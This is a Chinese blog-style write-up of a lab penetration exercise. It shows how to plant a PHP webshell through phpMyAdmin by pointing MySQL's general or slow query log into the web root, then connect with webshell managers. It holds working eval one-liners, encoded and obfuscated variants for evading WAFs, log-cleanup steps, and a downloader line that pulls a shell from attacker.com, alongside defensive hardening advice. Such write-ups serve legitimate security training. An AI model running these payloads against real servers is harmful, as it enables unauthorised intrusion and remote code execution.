1. 项目概述:一次经典的数据库日志写入攻击复盘
最近在复盘红日靶场的内网渗透实战,其中通过phpMyAdmin日志写入获取WebShell的环节,堪称一次教科书级的“权限提升”与“横向移动”的起点。很多朋友可能听说过这个手法,但实际操作中总会遇到各种“坑”,比如日志路径不对、权限不足、写入的Shell无法执行等等。今天,我就以红日靶场1的环境为例,结合我踩过的坑和总结的经验,把从发现phpMyAdmin到最终稳定获取WebShell的完整过程,掰开揉碎了讲清楚。这不仅仅是复现一个攻击步骤,更重要的是理解每一步背后的原理、条件以及在不同环境下的变通方法。无论你是正在学习渗透测试的新手,还是想巩固Web安全知识的老兵,相信这篇详细的复盘都能给你带来一些启发。
2. 核心攻击链与前置条件分析
2.1 攻击路径全景图
这次攻击的核心路径非常清晰,可以概括为: 信息收集 -> 发现phpMyAdmin -> 弱口令爆破/登录 -> 利用MySQL日志功能写入WebShell -> 连接WebShell建立据点 。这条路径之所以在红日靶场中有效,是因为靶场环境精心模拟了一个典型的安全疏漏场景:一个暴露在外网的Web服务器,运行着集成了phpStudy套件,其中phpMyAdmin管理界面可被直接访问,并且数据库使用了默认或弱口令。
2.2 关键前置条件深度解析
成功利用日志写入漏洞,绝非简单地执行几条SQL命令那么简单。它严格依赖于以下几个条件,缺一不可:
-
获取有效的数据库凭证 :这是第一道门。在红日靶场中,通常通过phpStudy探针页面泄露的信息、目录扫描发现phpMyAdmin、再结合常见的弱口令字典(如root/root, root/空密码)进行爆破获得。在实际环境中,这可能来源于其他漏洞(如SQL注入)导致的数据库信息泄露、配置文件中硬编码的密码、或者运维人员设置的简单密码。
-
数据库用户具备
FILE和SUPER权限 :FILE权限允许用户读取服务器上的文件,并在特定条件下写入文件。SUPER权限在MySQL 5.5.3之前是修改global variables(如general_log_file)所必需的。虽然在高版本中修改全局变量可能需要SYSTEM_VARIABLES_ADMIN权限,但SUPER权限通常也包含此能力。使用SHOW GRANTS FOR CURRENT_USER;命令可以查看当前用户的权限。 -
知晓Web目录的绝对路径 :这是决定WebShell能否被访问执行的关键。在红日靶场中,路径
D:/phpStudy/WWW/通过phpStudy探针页面直接暴露。其他常见泄露途径包括:Web应用的报错信息、通过load_file()函数读取配置文件(如php.ini)、或者利用一些PHP特性(如phpinfo())等。 -
MySQL服务对Web目录有写入权限 :这是一个容易被忽略但至关重要的系统级条件。MySQL服务进程(通常是
mysqld)运行在某个系统用户(如mysql、nobody)下,这个用户必须对目标Web目录(D:/phpStudy/WWW/)拥有写权限。在Windows环境下,可能需要检查该目录的ACL(访问控制列表);在Linux下,则需检查目录的属主、属组及权限位(如是否对others开放写权限w)。 -
secure_file_priv系统变量的限制 :这是MySQL 5.5之后引入的重要安全特性。它限制了LOAD DATA INFILE和SELECT ... INTO OUTFILE操作的文件目录。使用SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’;查看。如果其值为NULL,则禁止任何导入/导出操作;如果为具体目录(如/tmp/),则只能在该目录下操作;如果为空(‘’),则理论上无限制。 日志写入(general_log_file)不受此参数限制 ,这是它比INTO OUTFILE方法更常用的原因之一。
注意:在实战中,即使前4个条件都满足,也可能因为目标系统上的安全软件(如杀毒软件、Web应用防火墙WAF)或文件监控机制,导致写入的WebShell被立即删除或拦截。因此,写入后的访问和测试需要快速进行。
3. 详细攻击步骤与原理拆解
3.1 第一阶段:信息收集与入口定位
攻击始于对目标IP(红日靶场中为
192.168.0.105
)的端口扫描。使用Nmap进行基础扫描:
nmap -sS -sV -p- 192.168.0.105
。结果通常会开放80端口(HTTP)和3306端口(MySQL)。访问80端口,大概率会看到一个phpStudy的探针页面(
/phpinfo.php
或
/l.php
)。这个页面是信息金矿,它直接显示了:
-
网站绝对路径
:例如
Document Root: D:/phpStudy/WWW。 -
PHP版本及配置
:可能暴露
disable_functions等安全设置。 - MySQL连接信息 :有时甚至会显示数据库用户名(常为root)。
接下来,使用目录扫描工具(如Dirsearch、Gobuster)对Web目录进行爆破:
dirsearch -u http://192.168.0.105 -e php
。关键目标是发现
/phpmyadmin/
或
/phpMyAdmin/
目录。一旦发现,攻击的入口就找到了。
3.2 第二阶段:突破认证与权限确认
直接访问
http://192.168.0.105/phpmyadmin/
,会跳转到登录页面。此时,利用从探针页面得到的信息(用户很可能是root)和常见弱口令进行尝试。在红日靶场中,使用
root
和空密码或
root
直接登录的成功率很高。
登录成功后,不要急于执行写入操作,先进行关键的权限和路径确认:
-
确认当前用户权限 :在SQL命令行中执行:
SHOW GRANTS;或者
SHOW GRANTS FOR CURRENT_USER;查看输出中是否包含
GRANT FILE ON *.* TO ...和GRANT SUPER ON *.* TO ...(或GRANT ALL PRIVILEGES ON *.* TO ...)。这是后续操作的法律依据。 -
二次确认Web绝对路径 :虽然从探针获得了路径,但最好通过数据库侧进行交叉验证。可以尝试执行一个无害的查询,利用Web应用特性或报错来确认。例如,在某些CMS中,可以通过查询数据库中的配置表来获取站点路径。在红日靶场环境中,我们信任探针信息即可。
3.3 第三阶段:利用日志写入WebShell
这是整个攻击的核心技术环节。MySQL有一个通用查询日志(General Query Log)功能,它会记录所有到达MySQL服务器的SQL语句。我们可以通过SQL命令动态修改这个日志的保存位置和开关状态。
详细操作步骤如下:
-
查看当前日志状态 :
SHOW GLOBAL VARIABLES LIKE ‘%general_log%’;这条命令会返回两个关键变量:
-
general_log: 值为ON或OFF,表示日志功能是否开启。 -
general_log_file: 日志文件的当前保存路径,例如D:\phpStudy\MySQL\data\PC-20240101ABC.log。
-
-
开启通用查询日志 (如果未开启):
SET GLOBAL general_log = ‘ON’;执行成功后,MySQL会开始记录所有后续的SQL语句到当前的日志文件中。
-
修改日志文件路径到Web目录 :
SET GLOBAL general_log_file = ‘D:/phpStudy/WWW/shell.php’;这里有几个至关重要的细节:
-
路径分隔符
:在SQL语句中,即使目标系统是Windows,也建议使用正斜杠
/。MySQL会正确处理。使用反斜杠\需要进行转义(\\),容易出错。 -
文件扩展名
:将日志文件直接设置为
.php扩展名。这样,当Web服务器(如Apache)接收到对这个文件的请求时,会尝试将其作为PHP脚本解析。 -
文件覆盖
:如果
D:/phpStudy/WWW/shell.php这个文件已经存在,此操作会 覆盖 原文件内容。如果不存在,则会创建新文件。
-
路径分隔符
:在SQL语句中,即使目标系统是Windows,也建议使用正斜杠
-
写入WebShell代码 :
SELECT ‘<?php @eval($_POST[“pass”]);?>’;执行一条
SELECT查询,查询的内容就是我们想要写入的PHP一句话木马。由于通用查询日志正在开启状态,并且日志文件被指向了shell.php,这条SELECT语句本身(包括其查询结果)就会被完整地记录到shell.php文件中。 关键原理 :日志文件记录的是SQL语句的文本。当我们执行SELECT ‘<?php ... ?>’;时,MySQL会执行这个查询,返回结果<?php ... ?>,并将 整条SQL语句SELECT ‘<?php ... ?>’;写入日志文件。由于日志文件现在是.php文件,且其中包含了<?php ... ?>标签,Web服务器就会将其识别为PHP代码块。当通过Web访问这个文件时,服务器会解析执行<?php ... ?>内的代码,而日志中的其他部分(如SELECT ‘和’;)会被当作普通文本输出,通常不会影响PHP代码的执行。 -
关闭通用查询日志(清理痕迹) :
SET GLOBAL general_log = ‘OFF’;写入成功后,应立即关闭日志,避免后续大量的数据库查询记录覆盖我们的WebShell代码,同时也减少对目标系统性能的影响和留下过于明显的攻击痕迹。
-
将日志路径改回原值(可选,进一步隐蔽) :
SET GLOBAL general_log_file = ‘原路径’;这是一个更隐蔽的操作,将日志文件路径恢复为修改前的状态,使得管理员在检查日志配置时不易发现异常。
3.4 第四阶段:WebShell连接与验证
完成写入后,在浏览器或使用工具访问
http://192.168.0.105/shell.php
。页面可能会显示一些文本(即日志内容),如
SELECT ‘<?php @eval($_POST[“pass”]);?>’;
。这看起来像是代码被直接显示出来了,但别急,这通常是
因为没有用POST方式传递参数
。
使用中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)等WebShell管理工具进行连接。
-
连接地址
:
http://192.168.0.105/shell.php -
连接密码
:
pass(即我们写在$_POST[“pass”]中的键名) -
加密器
:选择与写入代码匹配的。我们写的是
@eval($_POST[“pass”]);,这是最基础的eval执行,在蚁剑中通常对应default(无加密)或base64编码。首次连接可以尝试default。
点击连接,如果一切顺利,工具会列出服务器的目录结构,标志着WebShell连接成功,我们已经获得了该Web服务权限下的系统命令执行能力。
4. 实战中遇到的典型问题与解决方案
4.1 写入成功但访问404或空白页
-
问题描述
:执行SQL命令没有报错,但访问
shell.php返回404 Not Found或空白页。 -
排查思路
:
-
路径错误
:这是最常见的原因。再次确认Web绝对路径。可以尝试在phpMyAdmin中,通过
SELECT ‘test’ INTO OUTFILE ‘D:/phpStudy/WWW/test.txt’;(如果secure_file_priv允许)来测试写入权限和路径是否正确。如果INTO OUTFILE被禁用,可以尝试利用MySQL读取系统文件来验证路径,例如通过报错信息。 -
权限不足
:MySQL服务账户对目标目录无写权限。在红日靶场(Windows)中,可以尝试写入其他可能有写权限的目录,如
C:\\Windows\\Temp\\或D:/phpStudy/tmp/,但这样写入的Shell无法通过Web访问,只能作为中转。在Linux中,可以尝试/tmp/目录。 -
代码被转义或过滤
:极少数情况下,如果目标MySQL或PHP配置了严格的过滤,可能会对日志内容中的
<、?、$等字符进行转义。可以尝试编码后的WebShell,例如:
然后连接时传递SELECT ‘<?php eval(base64_decode($_POST[“z”]));?>’;z=base64编码的指令。
-
路径错误
:这是最常见的原因。再次确认Web绝对路径。可以尝试在phpMyAdmin中,通过
4.2 访问shell.php显示源码而非执行
-
问题描述
:浏览器访问
shell.php,直接显示了<?php @eval($_POST[“pass”]);?>这行代码。 -
原因与解决
:
-
文件未被解析
:这几乎可以断定是
文件扩展名问题
。
.php文件没有被PHP解析器处理。检查Web服务器(如Apache)的配置,确保.php扩展名已正确关联到PHP处理器(AddType application/x-httpd-php .php)。在红日靶场中,phpStudy环境默认是配置好的。如果路径或配置有误,可以尝试其他可解析的扩展名,如.phtml、.php5等(取决于服务器配置)。 -
日志内容格式问题
:日志文件除了我们的
SELECT语句,可能还包含时间戳、线程ID等信息,这些文本输出在<?php ?>标签之外是正常的,但如果它们被输出在了<?php ?>标签内部或破坏了标签结构,就会导致解析失败。确保你的SELECT语句是写入操作后立即执行的,且之前没有其他可能破坏结构的日志记录。一个更干净的方法是先关闭日志,修改路径,再开启日志,然后立即执行写入语句。
-
文件未被解析
:这几乎可以断定是
文件扩展名问题
。
4.3 蚁剑等工具连接失败
- 问题描述 :工具显示连接失败、超时或返回异常数据。
-
排查思路
:
- 密码错误 :确认连接密码与写入代码中的POST键名完全一致,区分大小写。
-
加密方式不匹配
:我们写入的是最原始的
eval类型,蚁剑连接时选择“默认编码”或“base64”通常可以。如果不行,可以尝试在WebShell代码中使用更复杂的编码,例如使用assert函数并配合base64:
然后在蚁剑连接时选择相应的SELECT ‘<?php @assert(base64_decode($_POST[“z”]));?>’;assert编码器。 - 防火墙或安全软件拦截 :目标服务器可能安装了主机防火墙或安全软件,拦截了WebShell工具的特定流量特征。可以尝试在WebShell代码中加入简单的“免杀”技巧,如字符串拼接、函数动态调用等。
-
WebShell代码本身有语法错误
:仔细检查写入的PHP代码,确保括号、引号、分号都成对且正确。最简单的测试方法是,写入一个输出
phpinfo()的Shell:
访问这个文件,如果能正常显示PHP信息页,说明写入和执行环境都没问题,问题就出在连接环节。SELECT ‘<?php phpinfo(); ?>’;
4.4 关于
secure_file_priv
的误区
很多初学者会混淆
SELECT ... INTO OUTFILE
和日志写入。当发现
secure_file_priv
为
NULL
时,就认为无法通过数据库写文件了。
这是一个误区
。
secure_file_priv
仅限制
LOAD DATA INFILE
和
SELECT ... INTO OUTFILE
语句。通过
SET GLOBAL general_log_file
修改日志路径,完全不受此参数限制。因此,在
INTO OUTFILE
被严格禁止的现代MySQL环境中(5.5+默认
NULL
),
日志写入往往是更可行的方案
。
5. 防御视角与安全加固建议
作为攻击者,我们研究技术;作为防御者,我们更需要知道如何防范。从这次攻击复盘,我们可以提炼出多层防御策略:
-
网络层隔离 :phpMyAdmin等数据库管理界面 绝对不应该 直接暴露在公网。应将其置于内网,通过VPN或跳板机进行访问。如果业务必须开放,应设置严格的IP白名单或通过Web应用防火墙(WAF)添加访问规则。
-
强身份认证 :
- 禁用弱口令 :为MySQL的root用户设置高强度、复杂的密码。
- 避免默认用户 :删除或禁用不必要的默认数据库用户。
-
使用非root用户
:为Web应用创建专用的数据库用户,并遵循最小权限原则,只授予其业务所需数据库的
SELECT、INSERT、UPDATE、DELETE权限, 坚决不授予FILE、SUPER、GRANT OPTION等危险权限 。
-
MySQL安全配置 :
-
设置
secure_file_priv:在my.cnf或my.ini配置文件中,明确设置secure_file_priv = /some/secure/directory/(指向一个非Web目录且MySQL有权限的目录),或者直接设为NULL以完全禁用文件导入导出。 -
关闭通用查询日志
:在生产环境中,除非有明确的审计需求,否则应在配置文件中将
general_log设置为OFF,并移除普通用户修改全局变量的权限。 -
限制
general_log_file路径 :如果必须开启日志,应在配置文件中固定日志文件路径,并确保该路径不在Web可访问目录下。
-
设置
-
系统与文件权限 :
-
运行账户降权
:确保MySQL服务以一个低权限的系统用户(如专用的
mysql用户)运行。 - 严格控制Web目录权限 :Web根目录的写权限应仅限于Web服务进程用户。绝对禁止MySQL进程用户对Web目录拥有写权限。
-
运行账户降权
:确保MySQL服务以一个低权限的系统用户(如专用的
-
Web应用安全 :
-
删除探针文件
:部署完成后,立即删除
phpinfo.php、l.php等可能泄露服务器配置的探针文件。 - 错误信息控制 :配置PHP和Web服务器,禁止向用户显示详细的错误信息,防止路径等敏感信息泄露。
- 定期安全扫描 :使用自动化工具或人工方式,定期检查服务器上是否存在未授权的WebShell文件。
-
删除探针文件
:部署完成后,立即删除
6. 攻击手法扩展与高级利用思路
在掌握基础日志写入之后,可以探索一些更隐蔽、更适应复杂环境的手法:
-
慢查询日志写入 :与通用查询日志类似,MySQL还有慢查询日志(
slow_query_log和slow_query_log_file)。攻击思路完全相同,只是修改的变量名不同。在某些配置下,慢查询日志可能默认关闭,但如果有权限开启,它同样是一个可用的写入通道。命令为:SET GLOBAL slow_query_log = 1; SET GLOBAL slow_query_log_file = ‘D:/phpStudy/WWW/slow_shell.php’; SELECT ‘<?php @eval($_POST[“s”]);?>’ OR SLEEP(11);注意,为了让查询被记录到慢查询日志,需要让查询执行时间超过
long_query_time(默认10秒),所以这里用了OR SLEEP(11)。 -
利用
into outfile与日志结合 :如果secure_file_priv被设置为一个特定目录(如/tmp/),虽然不能直接写到Web目录,但可以先写到/tmp/下,然后尝试利用Web应用的其他功能(如文件上传、文件包含)去包含或移动这个文件。或者,如果Web目录是/tmp/的子目录(极少数情况),也可以直接写。 -
编码与混淆绕过WAF :面对可能存在WAF的环境,可以对写入的WebShell代码进行多层编码或混淆。例如,使用Hex编码:
SELECT 0x3C3F70687020406576616C28245F504F53545B2270617373225D293B203F3E;这串Hex解码后就是
<?php @eval($_POST[“pass”]); ?>。但需要注意,这种方式写入后,文件内容是二进制Hex数据,需要确保Web服务器能正确解析。更稳妥的方式是在PHP代码内部进行解码。 -
利用MySQL特性构造一句话 :除了简单的
eval,还可以利用system、passthru等函数,或者通过写入一个小的下载器,从远程服务器拉取更大的木马。例如:SELECT ‘<?php file_put_contents(“shell.php”, file_get_contents(“http://attacker.com/big_shell.txt”)); ?>’;
复盘红日靶场的这个攻击链,最大的收获不是记住了几条SQL命令,而是理解了从外部信息泄露到内部权限获取的完整逻辑,以及每一个环节所依赖的脆弱配置。真正的渗透测试,三分靠工具,七分靠思路和对系统原理的理解。下次当你再看到phpMyAdmin登录框时,希望你能立刻在脑海里浮现出这条攻击链的全景图,以及与之对应的、层层递进的防御措施。

348

被折叠的 条评论
为什么被折叠?



